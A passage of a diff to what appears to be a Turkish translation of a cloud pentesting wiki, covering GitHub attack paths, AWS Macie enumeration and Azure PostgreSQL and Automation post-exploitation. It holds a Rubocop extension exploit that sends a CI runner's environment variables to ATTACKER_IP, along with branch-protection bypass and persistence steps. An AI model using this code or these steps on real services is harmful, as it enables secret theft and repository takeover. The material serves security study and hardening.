uzantısı RCE) + +Bazı GitHub Uygulamaları ve PR inceleme hizmetleri, depo kontrolündeki yapılandırma dosyalarını kullanarak pull request'ler üzerinde harici linters/SAST çalıştırır. Desteklenen bir araç dinamik kod yüklemeye izin veriyorsa, bir PR hizmetin çalıştırıcısında RCE elde edebilir. + +Örnek: Rubocop, YAML yapılandırmasından uzantıları yüklemeyi destekler. Hizmet, bir depo tarafından sağlanan .rubocop.yml dosyasını geçirirse, yerel bir dosyayı gerektirerek rastgele Ruby kodu çalıştırabilirsiniz. + +- Tetikleme koşulları genellikle şunları içerir: +- Araç hizmette etkinleştirilmiştir +- PR, aracın tanıdığı dosyaları içerir (Rubocop için: .rb) +- Repo, aracın yapılandırma dosyasını içerir (Rubocop, .rubocop.yml dosyasını her yerde arar) + +PR'deki istismar dosyaları: + +.rubocop.yml +```yaml +require: +- ./ext.rb +``` +ext.rb (çalıştırıcı ortam değişkenlerini dışa aktarma): +```ruby +require 'net/http' +require 'uri' +require 'json' + +env_vars = ENV.to_h +json_data = env_vars.to_json +url = URI.parse('http://ATTACKER_IP/') + +begin +http = Net::HTTP.new(url.host, url.port) +req = Net::HTTP::Post.new(url.path) +req['Content-Type'] = 'application/json' +req.body = json_data +http.request(req) +rescue StandardError => e +warn e.message +end +``` +Ayrıca, linter'ın gerçekten çalışması için yeterince büyük bir sahte Ruby dosyası (örneğin, main.rb) ekleyin. + +Gerçek hayatta gözlemlenen etki: +- Linter'ı çalıştıran üretim koşucusunda tam kod yürütme +- Hizmet tarafından kullanılan GitHub Uygulaması özel anahtarı, API anahtarları, DB kimlik bilgileri vb. dahil olmak üzere hassas ortam değişkenlerinin dışa aktarılması +- Sızdırılmış bir GitHub Uygulaması özel anahtarı ile kurulum jetonları oluşturabilir ve o uygulamaya verilen tüm depolara okuma/yazma erişimi alabilirsiniz (GitHub Uygulaması taklitine ilişkin yukarıdaki bölüme bakın) + +Dış araçlar çalıştıran hizmetler için güçlendirme yönergeleri: +- Depo tarafından sağlanan araç yapılandırmalarını güvensiz kod olarak değerlendirin +- Araçları hassas ortam değişkenlerinin monte edilmediği sıkı bir şekilde izole edilmiş kum havuzlarında çalıştırın +- En az ayrıcalık ilkelerini ve dosya sistemi izolasyonunu uygulayın ve internet erişimi gerektirmeyen araçlar için dışa ağ çıkışını kısıtlayın/reddedin + ## Dal Koruma Atlatma -- **Onay sayısını gerektir**: Birkaç hesabı ele geçirdiyseniz, diğer hesaplardan PR'lerinizi kabul edebilirsiniz. PR'yi oluşturduğunuz hesaba sahipseniz, kendi PR'nizi kabul edemezsiniz. Ancak, repo içinde bir **Github Eylemi** ortamına erişiminiz varsa, **GITHUB_TOKEN** kullanarak **PR'nizi onaylayabilir** ve bu şekilde 1 onay alabilirsiniz. -- _Bu ve Kod Sahipleri kısıtlaması için not: genellikle bir kullanıcı kendi PR'lerini onaylayamaz, ancak eğer onaylayabiliyorsanız, PR'lerinizi kabul etmek için bunu kötüye kullanabilirsiniz._ -- **Yeni commitler gönderildiğinde onayları iptal et**: Bu ayar yapılmamışsa, geçerli kod gönderebilir, birinin onaylamasını bekleyebilir ve kötü niyetli kod ekleyip korunan dal ile birleştirebilirsiniz. -- **Kod Sahiplerinden inceleme gerektir**: Bu etkinleştirilmişse ve bir Kod Sahibiyseniz, **bir Github Eylemi PR'nizi oluşturabilir ve ardından kendiniz onaylayabilirsiniz**. -- Bir **CODEOWNER dosyası yanlış yapılandırıldığında** Github şikayet etmez ama kullanmaz. Bu nedenle, yanlış yapılandırılmışsa **Kod Sahipleri koruması uygulanmaz.** -- **Belirtilen aktörlerin pull request gereksinimlerini atlatmasına izin ver**: Eğer bu aktörlerden biriyseniz, pull request korumalarını atlatabilirsiniz. -- **Yönetici dahil et**: Bu ayar yapılmamışsa ve repo yöneticisiyseniz, bu dal korumalarını atlatabilirsiniz. -- **PR Ele Geçirme**: Başkasının PR'sini **kötü niyetli kod ekleyerek değiştirme**, sonuçta oluşan PR'yi kendiniz onaylama ve her şeyi birleştirme yeteneğine sahip olabilirsiniz. -- **Dal Koruma Kaldırma**: Eğer bir **repo yöneticisiyseniz, korumaları devre dışı bırakabilir**, PR'nizi birleştirebilir ve korumaları geri ayarlayabilirsiniz. -- **Push korumalarını atlatma**: Eğer bir repo **sadece belirli kullanıcıların** dallarda push (kod birleştirme) göndermesine izin veriyorsa (dal koruması tüm dalları koruyor olabilir ve joker karakter `*` kullanıyor olabilir). -- Eğer **repo üzerinde yazma erişiminiz varsa ama dal koruması nedeniyle kod göndermeye izin verilmiyorsa**, yine de **yeni bir dal oluşturabilir** ve içinde **kod gönderildiğinde tetiklenen bir github eylemi oluşturabilirsiniz**. **Dal koruması dal oluşturulana kadar koruma sağlamayacağından**, bu dal üzerindeki ilk kod gönderimi **github eylemini tetikleyecektir**. +- **Bir dizi onay gerektir**: Birkaç hesabı ele geçirdiyseniz, PR'lerinizi diğer hesaplardan kabul edebilirsiniz. PR'yi oluşturduğunuz hesaba sahipseniz, kendi PR'nizi kabul edemezsiniz. Ancak, depoda bir **Github Action** ortamına erişiminiz varsa, **GITHUB_TOKEN** kullanarak **PR'nizi onaylayabilirsiniz** ve bu şekilde 1 onay alabilirsiniz. +- _Bu ve Kod Sahipleri kısıtlaması için not: genellikle bir kullanıcı kendi PR'lerini onaylayamaz, ancak eğer onaylayabiliyorsanız, bunu PR'lerinizi kabul etmek için kötüye kullanabilirsiniz._ +- **Yeni taahhütler gönderildiğinde onayları iptal et**: Bu ayar yapılmadıysa, geçerli kod gönderebilir, birinin onaylamasını bekleyebilir ve kötü niyetli kod ekleyip korunan dal ile birleştirebilirsiniz. +- **Kod Sahiplerinden inceleme gerektir**: Bu etkinleştirildiğinde ve bir Kod Sahibiyseniz, **Github Action'ın PR'nizi oluşturmasını ve ardından kendiniz onaylamasını** sağlayabilirsiniz. +- **CODEOWNER dosyası yanlış yapılandırıldığında** Github şikayet etmez ama kullanmaz. Bu nedenle, yanlış yapılandırıldığında **Kod Sahipleri koruması uygulanmaz.** +- **Belirtilen aktörlerin çekme isteği gereksinimlerini atlamasına izin ver**: Eğer bu aktörlerden biriyseniz, çekme isteği korumalarını atlayabilirsiniz. +- **Yönetici ekle**: Bu ayar yapılmadıysa ve depo yöneticisiyseniz, bu dal korumalarını atlayabilirsiniz. +- **PR Kaçırma**: Başka birinin PR'sini **kötü niyetli kod ekleyerek değiştirme**, sonuçta oluşan PR'yi kendiniz onaylama ve her şeyi birleştirme yeteneğine sahip olabilirsiniz. +- **Dal Koruma Kaldırma**: Eğer depo yöneticisiyseniz, **korumaları devre dışı bırakabilir**, PR'nizi birleştirebilir ve korumaları geri ayarlayabilirsiniz. +- **İtme korumalarını atlama**: Eğer bir depo **sadece belirli kullanıcıların** dallarda itme (kod birleştirme) yapmasına izin veriyorsa (dal koruması tüm dalları koruyor olabilir ve joker karakter `*` kullanıyor olabilir). +- Eğer depoda **yazma erişiminiz varsa ama dal koruması nedeniyle kod itmenize izin verilmiyorsa**, yine de **yeni bir dal oluşturabilir** ve içinde **kod itildiğinde tetiklenen bir github action oluşturabilirsiniz**. **Dal koruması dal oluşturulana kadar dalı korumayacak**, bu nedenle bu dalda ilk kod itişi **github action'ı çalıştıracaktır**. -## Ortam Korumasını Atlatma +## Ortam Koruma Atlatma -[**Github Ortamı hakkında temel bilgileri kontrol etmek için**](basic-github-information.md#git-environments) bir giriş için. +[**Github Ortamı hakkında temel bilgileri kontrol edin**](basic-github-information.md#git-environments) için bir giriş. -Bir ortam **tüm dallardan erişilebiliyorsa**, **korunmuyor** demektir ve ortam içindeki gizli bilgilere kolayca erişebilirsiniz. Tüm dalların **korunduğu** (isimlerini belirterek veya `*` kullanarak) repolar bulabileceğinizi unutmayın; bu senaryoda, **kod gönderebileceğiniz bir dal bulun** ve yeni bir github eylemi oluşturarak gizli bilgileri **sızdırabilirsiniz** (veya birini değiştirebilirsiniz). +Bir ortam **tüm dallardan erişilebiliyorsa**, **korunmuyor** ve ortam içindeki sırları kolayca erişebilirsiniz. Tüm dalların **korunduğu** (isimlerini belirterek veya `*` kullanarak) depolar bulabileceğinizi unutmayın; bu senaryoda, **kod itebileceğiniz bir dal bulun** ve yeni bir github action oluşturarak sırları **dışa aktarabilirsiniz** (veya birini değiştirebilirsiniz). -Tüm dalların **korunduğu** (joker karakter `*` ile) ve **dallara kimin kod gönderebileceğinin belirtildiği** bir kenar durumu bulabileceğinizi unutmayın (_bunu dal korumasında belirtebilirsiniz_) ve **kullanıcınıza izin verilmez**. Yine de özel bir github eylemi çalıştırabilirsiniz çünkü bir dal oluşturabilir ve kendisi üzerinde push tetikleyicisini kullanabilirsiniz. **Dal koruması yeni bir dalda push'a izin verir, bu nedenle github eylemi tetiklenecektir.** +Tüm dalların **korunduğu** (joker karakter `*` ile) ve **dallara kimin kod itebileceğinin belirtildiği** bir kenar durumu bulabileceğinizi unutmayın (_bunu dal korumasında belirtebilirsiniz_) ve **kullanıcınıza izin verilmez**. Yine de özel bir github action çalıştırabilirsiniz çünkü bir dal oluşturabilir ve kendisi üzerinde itme tetikleyicisini kullanabilirsiniz. **Dal koruması yeni bir dalda itmeye izin verir, bu nedenle github action tetiklenecektir.** ```yaml push: # Run it when a push is made to a branch branches: @@ -204,19 +348,19 @@ Not edin ki **dal oluşturulduktan sonra** **dal koruması yeni dala uygulanacak ## Süreklilik -- **Kullanıcı token'ı** oluştur -- **Sırların** içinden **github token'larını** çal +- **Kullanıcı token'ı** oluşturun +- **Sırların** içinden **github token'larını** çalın - **İş akışı sonuçlarının** ve **dalların** **silinmesi** -- Tüm org'a **daha fazla izin** ver -- Bilgileri dışarı aktarmak için **webhook'lar** oluştur -- **Dış işbirlikçileri** davet et -- **SIEM** tarafından kullanılan **webhook'ları** **kaldır** -- **Arka kapı** ile **Github Action** oluştur/değiştir -- **Sır** değeri değişikliği yoluyla **komut enjeksiyonu** için **savunmasız Github Action** bul +- Tüm org'a **daha fazla izin** verin +- Bilgileri dışarı aktarmak için **webhook'lar** oluşturun +- **Dış işbirlikçileri** davet edin +- **SIEM** tarafından kullanılan **webhook'ları** **kaldırın** +- **Arka kapı** ile **Github Action** oluşturun/değiştirin +- **Sır** değeri değişikliği yoluyla **komut enjeksiyonu** için **savunmasız Github Action** bulun ### Sahte Taahhütler - Repo taahhütleri aracılığıyla arka kapı -Github'da **bir fork'tan bir repo için PR oluşturmak** mümkündür. PR **kabul edilse bile**, orijinal repoda bir **taahhüt** kimliği, kodun fork versiyonu için oluşturulacaktır. Bu nedenle, bir saldırgan **görünüşte meşru bir repodan, repo sahibinin oluşturmadığı belirli bir taahhütü kullanmak için sabitleyebilir**. +Github'da bir **fork'tan bir repo için PR oluşturmak** mümkündür. PR **kabul edilse bile**, orijinal repoda bir **taahhüt** kimliği, kodun fork versiyonu için oluşturulacaktır. Bu nedenle, bir saldırgan **görünüşte meşru bir repodan, repo sahibinin oluşturmadığı belirli bir taahhütü kullanmak için sabitleyebilir**. [**bu**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e) gibi: ```yaml @@ -233,4 +377,12 @@ echo 'hello world!' ``` Daha fazla bilgi için [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) adresini kontrol edin. +## Referanslar + +- [CodeRabbit'i nasıl istismar ettik: basit bir PR'dan RCE ve 1M depoda yazma erişimine](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/) +- [Rubocop uzantıları (gerekli)](https://docs.rubocop.org/rubocop/latest/extensions.html) +- [GitHub Uygulaması ile Kimlik Doğrulama (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app) +- [Kimlik doğrulama yapılmış uygulama için kurulumları listele](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app) +- [Bir uygulama için bir kurulum erişim belirteci oluştur](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md index 7b0fcaf7d..ef4b7aeee 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md @@ -1,12 +1,74 @@ # Amazon Macie -## Giriş +{{#include ../../../banners/hacktricks-training.md}} -Amazon Macie, makine öğrenimi ve desen eşleştirme kullanarak hassas verileri keşfeden, veri güvenliği risklerine görünürlük sağlayan ve bu risklere karşı otomatik koruma sağlayan bir veri güvenliği hizmetidir. +## Macie + +Amazon Macie, bir AWS hesabındaki verileri **otomatik olarak tespit etmek, sınıflandırmak ve tanımlamak** için tasarlanmış bir hizmet olarak öne çıkmaktadır. **Makine öğrenimi** kullanarak verileri sürekli izler ve analiz eder, esasen **cloud trail event** verilerini ve kullanıcı davranış kalıplarını inceleyerek olağandışı veya şüpheli etkinlikleri tespit etmeye ve bildirmeye odaklanır. + +Amazon Macie'nin Ana Özellikleri: + +1. **Aktif Veri İncelemesi**: AWS hesabında çeşitli eylemler gerçekleşirken verileri aktif olarak incelemek için makine öğrenimi kullanır. +2. **Anomali Tespiti**: Düzensiz etkinlikleri veya erişim kalıplarını tanımlar, potansiyel veri sızıntısı risklerini azaltmak için uyarılar oluşturur. +3. **Sürekli İzleme**: Amazon S3'te yeni verileri otomatik olarak izler ve tespit eder, zamanla veri erişim kalıplarına uyum sağlamak için makine öğrenimi ve yapay zeka kullanır. +4. **NLP ile Veri Sınıflandırması**: Farklı veri türlerini sınıflandırmak ve yorumlamak için doğal dil işleme (NLP) kullanır, bulguları önceliklendirmek için risk puanları atar. +5. **Güvenlik İzleme**: API anahtarları, gizli anahtarlar ve kişisel bilgiler gibi güvenlik açısından hassas verileri tanımlar, veri sızıntılarını önlemeye yardımcı olur. + +Amazon Macie, **bölgesel bir hizmettir** ve işlevsellik için 'AWSMacieServiceCustomerSetupRole' IAM Rolü ve etkin bir AWS CloudTrail gerektirir. + +### Uyarı Sistemi + +Macie, uyarıları önceden tanımlanmış kategorilere ayırır: + +- Anonim erişim +- Veri uyumluluğu +- Kimlik bilgisi kaybı +- Yetki yükseltme +- Fidye yazılımı +- Şüpheli erişim, vb. + +Bu uyarılar, etkili yanıt ve çözüm için ayrıntılı açıklamalar ve sonuç analizleri sağlar. + +### Gösterge Paneli Özellikleri + +Gösterge paneli verileri çeşitli bölümlere ayırır, bunlar arasında: + +- S3 Nesneleri (zaman aralığı, ACL, PII) +- Yüksek riskli CloudTrail olayları/kullanıcıları +- Etkinlik Konumları +- CloudTrail kullanıcı kimlik türleri ve daha fazlası. + +### Kullanıcı Sınıflandırması + +Kullanıcılar, API çağrılarının risk seviyesine göre katmanlara ayrılır: + +- **Platin**: Yüksek riskli API çağrıları, genellikle yönetici ayrıcalıkları ile. +- **Altın**: Altyapı ile ilgili API çağrıları. +- **Gümüş**: Orta riskli API çağrıları. +- **Bronz**: Düşük riskli API çağrıları. + +### Kimlik Türleri + +Kimlik türleri, isteklerin kaynağını belirten Root, IAM kullanıcı, Varsayılan Rol, Federated User, AWS Hesabı ve AWS Servisi'ni içerir. + +### Veri Sınıflandırması + +Veri sınıflandırması şunları kapsar: + +- İçerik Türü: Tespit edilen içerik türuna göre. +- Dosya Uzantısı: Dosya uzantısına göre. +- Tema: Dosyalar içindeki anahtar kelimelere göre kategorize edilir. +- Regex: Belirli regex desenlerine göre kategorize edilir. + +Bu kategoriler arasındaki en yüksek risk, dosyanın nihai risk seviyesini belirler. + +### Araştırma ve Analiz + +Amazon Macie'nin araştırma işlevi, derinlemesine analiz için tüm Macie verileri üzerinde özel sorgular yapmayı sağlar. Filtreler arasında CloudTrail Verisi, S3 Bucket özellikleri ve S3 Nesneleri bulunur. Ayrıca, diğer hesapları Amazon Macie'yi paylaşmaya davet etme desteği sunarak işbirlikçi veri yönetimi ve güvenlik izleme sağlar. ## AWS Konsolu ile Bulguları Listeleme -Belirli bir S3 bucket'ını gizli bilgiler ve hassas veriler için taradıktan sonra, bulgular oluşturulacak ve konsolda görüntülenecektir. Yeterli izinlere sahip yetkili kullanıcılar, her iş için bu bulguları görüntüleyebilir ve listeleyebilir. +Belirli bir S3 bucket'ında gizli ve hassas veriler için tarama yapıldıktan sonra, bulgular oluşturulacak ve konsolda görüntülenecektir. Yeterli izinlere sahip yetkili kullanıcılar, her iş için bu bulguları görüntüleyebilir ve listeleyebilir. Screenshot 2025-02-10 at 19 08 08 @@ -19,30 +81,62 @@ Amazon Macie, tespit edilen gizli bilgileri açık metin formatında görüntül Screenshot 2025-02-10 at 19 15 11 -## Sayım +### Enumeration ```bash -# List and describe classification jobs -aws macie2 list-classification-jobs --region eu-west-1 -aws macie2 describe-classification-job --job-id --region eu-west-1 +# Get buckets +aws macie2 describe-buckets + +# Org config +aws macie2 describe-organization-configuration + +# Get admin account (if any) +aws macie2 get-administrator-account +aws macie2 list-organization-admin-accounts # Run from the management account of the org + +# Get macie account members (run this from the admin account) +aws macie2 list-members + +# Check if automated sensitive data discovey is enabled +aws macie2 get-automated-discovery-configuration + +# Get findings +aws macie2 list-findings +aws macie2 get-findings --finding-ids +aws macie2 list-findings-filters +aws macie2 get -findings-filters --id + +# Get allow lists +aws macie2 list-allow-lists +aws macie2 get-allow-list --id + +# Get different info +aws macie2 list-classification-jobs +aws macie2 describe-classification-job --job-id +aws macie2 list-classification-scopes +aws macie2 list-custom-data-identifiers +aws macie2 get-custom-data-identifier --id # Retrieve account details and statistics -aws macie2 get-macie-session --region eu-west-1 -aws macie2 get-usage-statistics --region eu-west-1 - -# List and manage Macie members (for organizations) -aws macie2 list-members --region eu-west-1 - -# List findings and get detailed information about specific findings -aws macie2 list-findings --region eu-west-1 -aws macie2 get-findings --finding-id --region eu-west-1 - -# Manage custom data identifiers -aws macie2 list-custom-data-identifiers --region eu-west-1 -aws macie2 get-custom-data-identifier --id --region eu-west-1 - -# List and detail findings filters -aws macie2 list-findings-filters --region eu-west-1 -aws macie2 get-findings-filter --id --region eu-west-1 - +aws macie2 get-macie-session +aws macie2 get-usage-statistic ``` +### Privesc +{{#ref}} +../aws-privilege-escalation/aws-macie-privesc.md +{{#endref}} + +### Post Exploitation + +> [!TIP] +> Bir saldırganın perspektifinden, bu hizmet saldırganı tespit etmek için değil, depolanan dosyalardaki hassas bilgileri tespit etmek için yapılmıştır. Bu nedenle, bu hizmet **bir saldırgana, kovalar içindeki hassas bilgileri bulmasında yardımcı olabilir.**\ +> Ancak, belki de bir saldırgan, kurbanın uyarılar almasını engellemek ve o bilgiyi daha kolay çalmak için bunu bozmakla da ilgilenebilir. + +TODO: PR'lar hoş karşılanır! + +## References + +- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index 753f0a992..65fe5c201 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -9,6 +9,16 @@ PostgreSQL Veritabanı hakkında daha fazla bilgi için kontrol edin: ../az-services/az-postgresql.md {{#endref}} +### Azure Depolama hesaplarına erişmek için pg_azure_storage uzantısını kullanın + +**`pg_azure_storage` uzantısını kullanarak Azure Depolama hesaplarına erişmek** mümkündür. Bu, depolama hesabına erişmek için sunucuya atanan yönetilen kimliğin izinlerini kullanacaktır. + +Daha fazla bilgi için bu tekniği ayrıcalık yükseltme bölümünde kontrol edin: + +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} + ### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` Bu izinle, Azure'daki bir Postgres Flexible Server örneği içinde yeni veritabanları oluşturabilirsiniz. Bu eylem kendisi mevcut kaynakları değiştirmese de, aşırı veya yetkisiz veritabanı oluşturma, kaynak tüketimine veya sunucunun potansiyel kötüye kullanımına yol açabilir. @@ -18,15 +28,6 @@ az postgres flexible-server db create \ --resource-group \ --database-name ``` -### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` - -Bu izinle, Azure'daki bir Postgres Flexible Server örneği için yedekleme oluşturma işlemini başlatabilirsiniz. Bu, kullanıcıların belirli zaman dilimlerinde verileri korumak için talep üzerine yedeklemeler oluşturmasına olanak tanır. -```bash -az postgres flexible-server backup create \ ---name \ ---resource-group ---backup-name -``` ### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` Bu izinle, Azure'daki bir Postgres Flexible Server örneği için Gelişmiş Tehdit Koruma (ATP) ayarlarını yapılandırabilir veya güncelleyebilirsiniz. Bu, anormal etkinlikleri ve potansiyel tehditleri tespit etmek ve yanıt vermek için tasarlanmış güvenlik özelliklerini etkinleştirmeye veya devre dışı bırakmaya olanak tanır. @@ -68,7 +69,7 @@ az postgres flexible-server parameter set \ ``` ### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action` -Bu izinle, Azure'da bir PostgreSQL Flexible Server örneğini durdurabilirsiniz. Bir sunucuyu durdurmak, veritabanına bağımlı uygulamalar ve kullanıcılar üzerinde geçici hizmet kesintisine yol açabilir. +Bu izinle, Azure'da bir PostgreSQL Flexible Server örneğini durdurabilirsiniz. Bir sunucunun durdurulması, veritabanına bağımlı uygulamalar ve kullanıcılar üzerinde geçici bir hizmet kesintisine yol açabilir. ```bash az postgres flexible-server stop \ --name \ @@ -79,7 +80,7 @@ az postgres flexible-server stop \ With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. ```bash -az postgres flexible-server başlat \ +az postgres flexible-server start \ --name \ --resource-group ``` diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index 2c724b638..909f7f85e 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -8,10 +8,10 @@ Azure Automation Hesapları, Microsoft Azure'da kaynak yönetimi, yapılandırma ### Ayarlar -- **Kimlik Bilgileri**: Şifre yalnızca otomasyon hesabındaki bir runbook içinde erişilebilir, kullanıcı adlarını ve şifreleri **güvenli bir şekilde saklamak için** kullanılır. +- **Kimlik Bilgileri**: Şifre, otomasyon hesabındaki bir runbook içinde yalnızca erişilebilir, **kullanıcı adlarını ve şifreleri güvenli bir şekilde saklamak için** kullanılır. - **Değişkenler**: Runbook'larda kullanılabilecek **yapılandırma verilerini** saklamak için kullanılır. Bu, API anahtarları gibi hassas bilgiler de olabilir. Değişken **şifreli olarak saklanıyorsa**, yalnızca otomasyon hesabındaki bir runbook içinde erişilebilir. - **Sertifikalar**: Runbook'larda kullanılabilecek **sertifikaları** saklamak için kullanılır. -- **Bağlantılar**: Harici hizmetlere **bağlantı bilgilerini** saklamak için kullanılır. Bu, **hassas bilgiler** içerebilir. +- **Bağlantılar**: Harici hizmetlere ait **bağlantı bilgilerini** saklamak için kullanılır. Bu, **hassas bilgiler** içerebilir. - **Ağ Erişimi**: **Herkese açık** veya **özel** olarak ayarlanabilir. ### Runbook'lar & İşler @@ -26,7 +26,7 @@ Bir **İş, bir Runbook yürütme örneğidir**. Bir Runbook çalıştırdığı - **Çıktı**: Runbook yürütmesinin sonucu. - **Başlangıç ve Bitiş Zamanı**: İşin ne zaman başladığı ve tamamlandığı. -Bir iş, **Runbook** yürütmesinin **çıktısını** içerir. **İşleri** **okuyabiliyorsanız**, bunu yapın çünkü **çıkta** **run** (potansiyel **hassas bilgi**) içerir. +Bir iş, **Runbook** yürütmesinin **çıktısını** içerir. **İşleri** **okuyabiliyorsanız**, bunu yapın çünkü **çıkta** **çalışmanın** **çıktısını** içerir (potansiyel **hassas bilgi**). ### Takvimler & Webhook'lar @@ -38,13 +38,13 @@ Bir Runbook'u çalıştırmanın 3 ana yolu vardır: ### Kaynak Kontrolü -Runbook'ları **Github, Azure Devops (Git) ve Azure Devops (TFVC)**'den içe aktarmayı sağlar. Repo'daki Runbook'ları Azure Automation hesabına yayınlamak için belirtmek ve ayrıca **repo'dan değişiklikleri senkronize etmek** için belirtmek mümkündür. +Runbook'ları **Github, Azure Devops (Git) ve Azure Devops (TFVC)**'den içe aktarmayı sağlar. Repo'daki Runbook'ları Azure Automation hesabına yayınlamak için belirtmek mümkündür ve ayrıca **repo'daki değişiklikleri** Azure Automation hesabına **senkronize etmek** için belirtmek de mümkündür. Senkronizasyon etkinleştirildiğinde, **Github deposunda bir webhook oluşturulur** ve her push olayı gerçekleştiğinde senkronizasyonu tetikler. Bir webhook URL'sinin örneği: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` -Bu webhook'ların, Github deposuna bağlı runbook'larda listelenirken **görünmeyeceğini** unutmayın. Ayrıca, bir kaynak kontrolü oluşturulduktan sonra **repo URL'sinin değiştirilmesinin mümkün olmadığını** unutmayın. +Bu webhook'ların, Github deposuna bağlı runbook'larda listelenirken **görünmeyeceğini** unutmayın. Ayrıca, bir kaynak kontrolü oluşturulduktan sonra **repo URL'sinin değiştirilemeyeceğini** unutmayın. -Yapılandırılan kaynak kontrolünün çalışması için, **Azure Automation Hesabı**'nın **`Katkıda Bulunan`** rolüne sahip bir yönetilen kimliğe (sistem veya kullanıcı) sahip olması gerekir. Ayrıca, Automation Hesabına bir kullanıcı yönetilen kimliği atamak için, **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** değişkeninde kullanıcı MI'nin istemci kimliğini belirtmek gerekir. +Yapılandırılan kaynak kontrolünün çalışabilmesi için, **Azure Automation Hesabı**'nın **`Katkıda Bulunan`** rolüne sahip bir yönetilen kimliğe (sistem veya kullanıcı) sahip olması gerekir. Ayrıca, Kullanıcı Yönetilen Kimliğini Automation Hesabına atamak için, **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** değişkeninde kullanıcı MI'nin istemci kimliğini belirtmek gerekir. ### Çalışma Ortamları @@ -61,28 +61,28 @@ Ancak, bunlardan birini temel alarak **kendi ortamlarınızı oluşturmak** da m ### Hibrit İşçi Grupları -Azure Automation'da runbook'lar için varsayılan yürütme ortamı **Azure Sandbox**'dır, bu Azure tarafından yönetilen bulut tabanlı bir platformdur ve Azure kaynaklarıyla ilgili görevler için uygundur. Ancak, bu sandbox'ın, yerel kaynaklara erişim kısıtlamaları ve yürütme süresi ve kaynak kullanımı üzerinde kısıtlamalar gibi sınırlamaları vardır. Bu sınırlamaları aşmak için Hibrit İşçi Grupları kullanılır. Bir Hibrit İşçi Grubu, **kendi makinelerinizde kurulu bir veya daha fazla Hibrit Runbook İşçisinden** oluşur; bu makineler yerel, diğer bulut ortamlarında veya Azure VM'lerinde olabilir. Bu yapılandırma, runbook'ların doğrudan bu makinelerde yürütülmesini sağlar, yerel kaynaklara doğrudan erişim, daha uzun ve daha kaynak yoğun görevleri çalıştırma yeteneği ve Azure'un hemen erişim alanının ötesindeki ortamlarla etkileşimde bulunma esnekliği sağlar. +Azure Automation'da, runbook'lar için varsayılan yürütme ortamı **Azure Sandbox**'dır, bu Azure tarafından yönetilen bulut tabanlı bir platformdur ve Azure kaynaklarıyla ilgili görevler için uygundur. Ancak, bu sandbox'ın, yerel kaynaklara erişim kısıtlamaları ve yürütme süresi ile kaynak kullanımı üzerinde kısıtlamalar gibi sınırlamaları vardır. Bu sınırlamaları aşmak için Hibrit İşçi Grupları kullanılır. Bir Hibrit İşçi Grubu, **kendi makinelerinizde kurulu bir veya daha fazla Hibrit Runbook İşçisi** içerir; bu makineler yerel, diğer bulut ortamlarında veya Azure VM'lerinde olabilir. Bu yapı, runbook'ların doğrudan bu makinelerde yürütülmesine olanak tanır, yerel kaynaklara doğrudan erişim sağlar, daha uzun ve daha kaynak yoğun görevleri çalıştırma yeteneği sunar ve Azure'un hemen erişim alanının ötesindeki ortamlarla etkileşimde bulunma esnekliği sağlar. -Bir hibrit işçi grubu oluşturulduğunda, kullanılacak **kimlik bilgilerini** belirtmek gerekir. 2 seçenek vardır: +Bir hibrit işçi grubu oluşturulduğunda, kullanılacak **kimlik bilgilerini** belirtmek gerekir. İki seçenek vardır: - **Varsayılan kimlik bilgileri**: Kimlik bilgilerini sağlamanıza gerek yoktur ve runbook'lar **Sistem** olarak VM'ler içinde yürütülecektir. -- **Belirli kimlik bilgileri**: Otomasyon hesabındaki kimlik bilgileri nesnesinin adını sağlamanız gerekir; bu, **VM'ler içindeki runbook'ları yürütmek için** kullanılacaktır. Bu nedenle, bu durumda, **VM'ler için geçerli kimlik bilgilerini çalmak** mümkün olabilir. +- **Belirli kimlik bilgileri**: Otomasyon hesabındaki kimlik bilgileri nesnesinin adını sağlamanız gerekir; bu, **VM'ler içindeki runbook'ları yürütmek için** kullanılacaktır. Bu nedenle, bu durumda **VM'ler için geçerli kimlik bilgilerini çalmak** mümkün olabilir. Bu nedenle, bir **Runbook**'u bir **Hibrit İşçi**'de çalıştırmayı 